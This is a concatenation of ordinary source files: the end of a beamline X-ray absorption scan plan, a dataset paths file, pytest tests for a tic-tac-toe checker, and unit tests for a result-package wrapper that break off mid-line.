wait=True) # yield from bps.abs_set(ioxas_x, 259.1, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 250.4, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 253.3, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 256.5, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 259.1, wait=True) # yield from E_ramp(dets, 1552, 1592, 0.05, deadband=1.2) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # Si K measurements # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 1845, wait=True) # yield from bps.abs_set(epu1table, 7, wait=True) # yield from bps.abs_set(epu1offset, 10, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.sleep(5) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(sample_sclr_gain, 2, wait=True) # yield from bps.abs_set(sample_sclr_decade, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 2, wait=True) # yield from bps.abs_set(ioxas_x, 250.3, wait=True) # yield from E_ramp(dets, 1830, 1875, 0.1, deadband=4) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 253.2, wait=True) # yield from E_ramp(dets, 1830, 1875, 0.1, deadband=4) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 256.35, wait=True) # yield from E_ramp(dets, 1830, 1875, 0.1, deadband=4) # yield from bps.abs_set(pgm_energy, 1565, wait=True) # yield from bps.abs_set(ioxas_x, 259.1, wait=True) # yield from E_ramp(dets, 1830, 1875, 0.1, deadband=4) # yield from bps.abs_set(pgm_energy, 1565, wait=True) #O K measurement yield from bps.abs_set(feedback, 0, wait=True) yield from bps.abs_set(pgm_energy, 540, wait=True) yield from bps.abs_set(epu1table, 6, wait=True) yield from bps.abs_set(epu1offset, 5.5, wait=True) yield from bps.sleep(5) yield from bps.abs_set(feedback, 1, wait=True) yield from bps.sleep(5) yield from bps.abs_set(feedback, 0, wait=True) yield from bps.abs_set(pd_sclr_gain, 2, wait=True) yield from bps.abs_set(pd_sclr_decade, 3, wait=True) yield from bps.abs_set(sample_sclr_gain, 2, wait=True) yield from bps.abs_set(sample_sclr_decade, 3, wait=True) yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # Example of normal settings: # yield from bps.abs_set(ioxas_x, 250.3, wait=True) # yield from E_ramp(dets, 520, 570, 0.05, deadband=8) # yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 253.2, wait=True) yield from E_ramp(dets, 570, 540, 0.1, deadband=4) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 256.35, wait=True) yield from E_ramp(dets, 520, 570, 0.05, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 259.1, wait=True) yield from E_ramp(dets, 520, 570, 0.05, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(sample_sclr_gain, 1, wait=True) yield from bps.abs_set(sample_sclr_decade, 3, wait=True) yield from bps.abs_set(ioxas_x, 273.45, wait=True) yield from E_ramp(dets, 520, 570, 0.1, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 276.3, wait=True) yield from E_ramp(dets, 520, 570, 0.1, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 279.6, wait=True) yield from E_ramp(dets, 520, 570, 0.1, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) yield from bps.abs_set(ioxas_x, 281.9, wait=True) yield from E_ramp(dets, 520, 570, 0.1, deadband=8) yield from bps.abs_set(pgm_energy, 520, wait=True) #Mo M2,3 measurments yield from bps.abs_set(feedback, 0, wait=True) yield from bps.abs_set(pgm_energy, 410, wait=True) yield from bps.abs_set(epu1table, 6, wait=True) yield from bps.abs_set(feedback, 1, wait=True) yield from bps.abs_set(sample_sclr_gain, 0, wait=True) yield from bps.abs_set(sample_sclr_decade, 3, wait=True) yield from bps.abs_set(aumesh_sclr_gain, 0, wait=True) yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # yield from bps.abs_set(ioxas_x, 0, wait=True) # yield from bps.abs_set(valve_mir3_close, 1, wait=True) yield from bps.abs_set(ioxas_x, 273.45, wait=True) yield from E_ramp(dets, 380, 430, 0.05, deadband=4) yield from bps.abs_set(pgm_energy, 380, wait=True) yield from bps.abs_set(ioxas_x, 276.1, wait=True) yield from E_ramp(dets, 380, 430, 0.05, deadband=4) yield from bps.abs_set(pgm_energy, 380, wait=True) yield from bps.abs_set(ioxas_x, 279.8, wait=True) yield from E_ramp(dets, 380, 430, 0.05, deadband=4) yield from bps.abs_set(pgm_energy, 380, wait=True) yield from bps.abs_set(ioxas_x, 282.0, wait=True) yield from E_ramp(dets, 380, 430, 0.05, deadband=4) yield from bps.abs_set(pgm_energy, 380, wait=True) def PD_scans(): dets = [sclr, ring_curr] for channel in ['channels.chan2','channels.chan3','channels.chan4']: getattr(sclr, channel).kind = 'hinted' for channel in ['channels.chan3','channels.chan4']: getattr(sclr, channel).kind = 'normal' # O K scans # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 540, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 5.5, wait=True) # yield from bps.sleep(5) # yield from bps.abs_set(feedback_sp, 380, wait=True) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pd_sclr_gain, 0, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # yield from bps.abs_set(au_mesh, -73.3, wait=True) # yield from bps.abs_set(sclr_time, 0.2, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 575, wait=True) # yield from E_ramp(dets, 575, 520, 0.1, deadband=5) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 845, 885, 0.1, deadband=8) # C K Scans yield from bps.abs_set(feedback, 0, wait=True) yield from bps.abs_set(pgm_energy, 275, wait=True) yield from bps.abs_set(epu1table, 6, wait=True) yield from bps.abs_set(epu1offset, 3, wait=True) yield from bps.sleep(5) yield from bps.abs_set(feedback_sp, 344, wait=True) yield from bps.abs_set(feedback, 1, wait=True) yield from bps.sleep(10) yield from bps.abs_set(feedback, 0, wait=True) yield from bps.abs_set(pd_sclr_gain, 1, wait=True) yield from bps.abs_set(pd_sclr_decade, 6, wait=True) yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) yield from bps.abs_set(au_mesh, -73.3, wait=True) yield from bps.abs_set(sclr_time, 0.2, wait=True) for ii in range(0,3): yield from bps.abs_set(pgm_energy, 320, wait=True) yield from E_ramp(dets, 320, 275, 0.025, deadband=2) # O K scans, repeated # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 540, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 5.5, wait=True) # yield from bps.sleep(5) # yield from bps.abs_set(feedback_sp, 380, wait=True) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pd_sclr_gain, 2, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # yield from bps.abs_set(au_mesh, -73.3, wait=True) # yield from bps.abs_set(sclr_time, 0.2, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 575, wait=True) # yield from E_ramp(dets, 575, 520, 0.1, deadband=5) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 845, 885, 0.1, deadband=8) # C K Scans, repeated # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 275, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 3, wait=True) # yield from bps.sleep(5) # yield from bps.abs_set(feedback_sp, 331, wait=True) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pd_sclr_gain, 1, wait=True) # yield from bps.abs_set(pd_sclr_decade, 6, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # yield from bps.abs_set(au_mesh, -73.3, wait=True) # yield from bps.abs_set(sclr_time, 2.0, wait=True) # for ii in range(0,3): # yield from bps.abs_set(pgm_energy, 320, wait=True) # yield from E_ramp(dets, 320, 275, 0.025, deadband=2) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 845, 885, 0.1, deadband=8) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 380, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 2, wait=True) # yield from bps.abs_set(pd_sclr_decade, 6, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 1, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 380, wait=True) # yield from E_ramp(dets, 380, 430, 0.05, deadband=4) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 430, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 2, wait=True) # yield from bps.abs_set(pd_sclr_decade, 6, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 1, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 430, wait=True) # yield from E_ramp(dets, 430, 470, 0.1, deadband=8) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 520, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 0, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 520, wait=True) # yield from E_ramp(dets, 520, 570, 0.1, deadband=8) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 520, wait=True) # yield from E_ramp(dets, 520, 570, 0.05, deadband=8) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 520, wait=True) # yield from E_ramp(dets, 520, 565, 0.1, deadband=8) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 525, wait=True) # yield from E_ramp(dets, 525, 570, 0.1, deadband=8) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 655, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 1, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 655, wait=True) # yield from E_ramp(dets, 655, 710, 0.1, deadband=8) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 1, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 770, 810, 0.1, deadband=6) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 770, 810, 0.05, deadband=6) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 845, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 1, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 845, wait=True) # yield from E_ramp(dets, 845, 877, 0.1, deadband=8) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 770, wait=True) # yield from E_ramp(dets, 845, 885, 0.1, deadband=8) # yield from bps.abs_set(feedback, 0, wait=True) # yield from bps.abs_set(pgm_energy, 870, wait=True) # yield from bps.abs_set(epu1table, 6, wait=True) # yield from bps.abs_set(epu1offset, 0, wait=True) # yield from bps.sleep(10) # yield from bps.abs_set(feedback, 1, wait=True) # yield from bps.abs_set(pd_sclr_gain, 1, wait=True) # yield from bps.abs_set(pd_sclr_decade, 7, wait=True) # yield from bps.abs_set(aumesh_sclr_gain, 2, wait=True) # yield from bps.abs_set(aumesh_sclr_decade, 3, wait=True) # for ii in range(0,4): # yield from bps.abs_set(pgm_energy, 870, wait=True) # yield from E_ramp(dets, 870, 920, 0.1, deadband=8) # yield from bps.abs_set(diag4_y, 0, wait=True) yield from bps.abs_set(valve_mir3_close, 1, wait=True) def O_K_Ctape(): dets = [sclr, norm_ch4, ring_curr] for channel in ['channels.chan3','channels.chan4']: getattr(sclr, channel).kind = 'hinted' for ii in range(0,2): yield from bps.abs_set(pgm_energy, 520, wait=True) yield from E_ramp(dets, 520, 570, 0.1, deadband=8) for ii in range(0,2): yield from bps.abs_set(pgm_energy, 520, wait=True) yield from E_ramp(dets, 520, 570, 0.05, deadband=8) for ii in range(0,2): yield from bps.abs_set(pgm_energy, 520, wait=True) yield from E_ramp(dets, 520, 565, 0.1, deadband=8) for ii in range(0,2): yield from bps.abs_set(pgm_energy, 525, wait=True) yield from E_ramp(dets, 525, 570, 0.1, deadband=8)
41.810268
87
0.682665
3,364
18,731
3.643579
0.043401
0.229094
0.259444
0.283919
0.975687
0.966305
0.960676
0.956025
0.954965
0.949661
0
0.07365
0.188137
18,731
447
88
41.903803
0.73236
0.643799
0
0.544715
0
0
0.043106
0
0
0
0
0
0
1
0.03252
false
0
0.01626
0
0.04878
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
f61853f7b8972d4701e46ef44cd9cd5230ce7ec6
212
py
Python
common/paths.py
SeitaroShinagawa/chainer-partial_convolution_image_inpainting
fdecfd978708e37cb8c461446ab3028a5ed9b6dc
[ "MIT" ]
116
2018-05-14T06:51:21.000Z
2021-12-14T07:42:10.000Z
common/paths.py
yuzhesu/chainer-partial_convolution_image_inpainting
cee0c278c0c2ecb0173d8c0d9f8af6de193d7477
[ "MIT" ]
32
2018-05-18T18:53:06.000Z
2020-01-16T11:03:44.000Z
common/paths.py
yuzhesu/chainer-partial_convolution_image_inpainting
cee0c278c0c2ecb0173d8c0d9f8af6de193d7477
[ "MIT" ]
40
2018-05-13T06:41:19.000Z
2021-03-12T08:22:32.000Z
train_place2 = "/project/nakamura-lab07/Work/seitaro-s/place2/data_256" val_place2 = "/project/nakamura-lab07/Work/seitaro-s/place2/val_256" test_place2 = "/project/nakamura-lab07/Work/seitaro-s/place2/test_256"
53
71
0.801887
33
212
4.969697
0.363636
0.237805
0.384146
0.47561
0.804878
0.804878
0.804878
0.804878
0
0
0
0.103448
0.042453
212
3
72
70.666667
0.704434
0
0
0
0
0
0.759434
0.759434
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
f62214ba26a495e7310f14b955de923d6eff4dcb
3,666
py
Python
homework/Develop Another Python Program/test_impl_tighter.py
rvprasad/software-testing-course
3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0
[ "CC-BY-4.0" ]
11
2018-02-08T05:23:28.000Z
2021-05-24T13:23:56.000Z
homework/Develop Another Python Program/test_impl_tighter.py
rvprasad/software-testing-course
3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0
[ "CC-BY-4.0" ]
null
null
null
homework/Develop Another Python Program/test_impl_tighter.py
rvprasad/software-testing-course
3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0
[ "CC-BY-4.0" ]
2
2020-09-15T08:51:22.000Z
2021-01-26T12:07:18.000Z
import impl import pytest FULL_BOARD_CONFIG = 'xoxoxxoxo' def test_tic_tac_toe_check_x_based_winning_pattern(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[6] = 'x' assert impl.tic_tac_toe_check(tmp1) == 'x', "fails to recognize x based winning pattern" def test_tic_tac_toe_check_o_based_winning_pattern(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[2] = 'o' tmp1[5] = 'o' assert impl.tic_tac_toe_check(tmp1) == 'o', "fails to recognize x based winning pattern" def test_tic_tac_toe_check_no_winning_pattern(): tmp1 = list(FULL_BOARD_CONFIG) assert impl.tic_tac_toe_check(tmp1) == None, "fails to return None when there is no winner" def test_tic_tac_toe_check_partial_board(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[0] = '' assert impl.tic_tac_toe_check(tmp1) == None, "fails to return None when there is no winner" def test_tic_tac_toe_check_multiple_winning_patterns1(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[8] = 'x' tmp1[0] = 'o' with pytest.raises(ValueError, message="does not flag multiple winning patterns"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_multiple_winning_patterns2(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[8] = 'x' tmp1[3] = 'x' with pytest.raises(ValueError, message="does not flag multiple x winning patterns"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_multiple_winning_patterns3(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[0] = 'o' tmp1[7] = 'o' with pytest.raises(ValueError, message="does not flag multiple o winning patterns"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_not_x(): tmp1 = list(FULL_BOARD_CONFIG.replace('x', 'm')) with pytest.raises(ValueError, message="does not flag invalid symbols"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_not_o(): tmp1 = list(FULL_BOARD_CONFIG.replace('o', 'd')) with pytest.raises(ValueError, message="does not flag invalid symbols"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_not_empty_string(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[0] = ' ' with pytest.raises(ValueError, message="does not flag invalid empty position string"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_multiple_symbols(): tmp1 = list(FULL_BOARD_CONFIG) tmp1[0] = 'y' with pytest.raises(ValueError, message="does not flag invalid symbols"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_invalid_symbol_type1(): with pytest.raises(TypeError, message="does not flag invalid arg type"): impl.tic_tac_toe_check([1] * 9) with pytest.raises(TypeError, message="does not flag invalid arg type"): impl.tic_tac_toe_check([None] * 9) tmp1 = list(FULL_BOARD_CONFIG) tmp1[0] = 1 with pytest.raises(TypeError, message="does not flag invalid arg type"): impl.tic_tac_toe_check(tmp1) def test_tic_tac_toe_check_incorrect_board_size1(): with pytest.raises(ValueError, message="does not flag invalid board size"): impl.tic_tac_toe_check(list('oxo')) def test_tic_tac_toe_check_incorrect_board_size2(): with pytest.raises(ValueError, message="does not flag invalid board size"): impl.tic_tac_toe_check(list('oxxooxxoooxx')) def test_tic_tac_toe_check_incorrect_board_type1(): with pytest.raises(TypeError, message="does not flag invalid arg type"): impl.tic_tac_toe_check(None) def test_tic_tac_toe_check_incorrect_board_type2(): with pytest.raises(TypeError, message="does not flag invalid arg type"): impl.tic_tac_toe_check(3)
33.944444
96
0.722859
559
3,666
4.400716
0.132379
0.082927
0.12439
0.193496
0.917073
0.917073
0.884146
0.789431
0.734959
0.628862
0
0.020861
0.176214
3,666
107
97
34.261682
0.793709
0
0
0.473684
0
0
0.184993
0
0
0
0
0
0.052632
1
0.210526
false
0
0.026316
0
0.236842
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
8
f6272f387edb28134fc04bf650d515f8616c5b6e
8,697
py
Python
tests/test_experiment/test_result_package/test_multiple_result_pkg_wrapper.py
mv1388/AIToolbox
c64ac4810a02d230ce471d86b758e82ea232a7e7
[ "MIT" ]
3
2019-10-12T12:24:09.000Z
2020-08-02T02:42:43.000Z
tests/test_experiment/test_result_package/test_multiple_result_pkg_wrapper.py
mv1388/aitoolbox
1060435e6cbdfd19abcb726c4080b663536b7467
[ "MIT" ]
3
2020-04-10T14:07:07.000Z
2020-04-22T19:04:38.000Z
tests/test_experiment/test_result_package/test_multiple_result_pkg_wrapper.py
mv1388/aitoolbox
1060435e6cbdfd19abcb726c4080b663536b7467
[ "MIT" ]
null
null
null
import unittest from aitoolbox.experiment.result_package.abstract_result_packages import MultipleResultPackageWrapper from tests.utils import DummyResultPackageExtendVariable class TestMultipleResultPackageWrapper(unittest.TestCase): def test_basic(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) multi_result = MultipleResultPackageWrapper() multi_result.prepare_result_package([pkg_1, pkg_2]) self.assertEqual(str(multi_result), f"--> {pkg_1.pkg_name}:\nmetric1: {result_d_1['metric1']}\nmetric2: {result_d_1['metric2']}\n" f"--> {pkg_2.pkg_name}:\nmetric3: {result_d_2['metric3']}\nmetric4: {result_d_2['metric4']}") self.assertEqual(multi_result.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2}) def test_concatenate_package(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) result_d_3 = {'metric1NEW': 33232, 'metric2NEW': 1000} pkg_3 = DummyResultPackageExtendVariable(result_d_3) pkg_3.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_4 = {'metric1NEW': 33232, 'metric2NEW': 1000} pkg_4 = DummyResultPackageExtendVariable(result_d_4) pkg_4.pkg_name = 'NEWPackageName' pkg_4.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) multi_result = MultipleResultPackageWrapper() multi_result.prepare_result_package([pkg_1, pkg_2]) concat_package = multi_result + pkg_3 self.assertEqual(concat_package.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, f'{pkg_3.pkg_name}2': result_d_3}) # Not the same object - deepcopy done under the hood self.assertNotEqual(multi_result, concat_package) self.assertNotEqual(pkg_3, concat_package) concat_package_2 = multi_result + pkg_4 self.assertEqual(concat_package_2.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, f'{pkg_4.pkg_name}': result_d_4}) concat_package_full = concat_package + pkg_4 self.assertEqual(concat_package_full.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, f'{pkg_3.pkg_name}2': result_d_3, f'{pkg_4.pkg_name}': result_d_4}) # Not the same object - deepcopy done under the hood self.assertNotEqual(concat_package_full, concat_package) self.assertNotEqual(concat_package_full, pkg_4) def test_append_package(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) result_d_3 = {'metric1NEW': 33232, 'metric2NEW': 1000} pkg_3 = DummyResultPackageExtendVariable(result_d_3) pkg_3.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_4 = {'metric1NEW': 33232, 'metric2NEW': 1000} pkg_4 = DummyResultPackageExtendVariable(result_d_4) pkg_4.pkg_name = 'NEWPackageName' pkg_4.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) multi_result = MultipleResultPackageWrapper() multi_result.prepare_result_package([pkg_1, pkg_2]) multi_result += pkg_3 self.assertEqual(multi_result.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, f'{pkg_3.pkg_name}2': result_d_3}) multi_result += pkg_4 self.assertEqual(multi_result.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, f'{pkg_3.pkg_name}2': result_d_3, f'{pkg_4.pkg_name}': result_d_4}) def test_concatenate_dict(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) pkg_dict_3 = {'metric1NEW': 33232, 'metric2NEW': 1000} multi_result = MultipleResultPackageWrapper() multi_result.prepare_result_package([pkg_1, pkg_2]) concat_package = multi_result + pkg_dict_3 self.assertEqual(concat_package.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, 'PreCalculatedResult': pkg_dict_3}) self.assertNotEqual(concat_package, multi_result) self.assertNotEqual(concat_package, pkg_dict_3) concat_package_2 = pkg_dict_3 + multi_result self.assertEqual(concat_package_2.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, 'PreCalculatedResult': pkg_dict_3}) def test_append_dict(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) pkg_dict_3 = {'metric1NEW': 33232, 'metric2NEW': 1000} multi_result = MultipleResultPackageWrapper() multi_result.prepare_result_package([pkg_1, pkg_2]) multi_result += pkg_dict_3 self.assertEqual(multi_result.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, 'PreCalculatedResult': pkg_dict_3}) multi_result += pkg_dict_3 self.assertEqual(multi_result.get_results(), {pkg_1.pkg_name: result_d_1, f'{pkg_2.pkg_name}1': result_d_2, 'PreCalculatedResult': pkg_dict_3, 'PreCalculatedResult3': pkg_dict_3}) def test_concatenate_fail(self): result_d_1 = {'metric1': 33232, 'metric2': 1000} pkg_1 = DummyResultPackageExtendVariable(result_d_1) result_d_2 = {'metric3': 1, 'metric4': 2} pkg_2 = DummyResultPackageExtendVariable(result_d_2) pkg_2.prepare_result_package([10] * 100, [11] * 100, {'qqq': 445}) with self.assertRaises(ValueError): _ = pkg_1 + pkg_2 with self.assertRaises(ValueError): _ = pkg_1 + {'metric3': 1, 'metric4': 2} pkg_1.prepare_result_package([10] * 100, [11] * 100, {'dddd': 222}) with self.assertRaises(ValueError): _ = 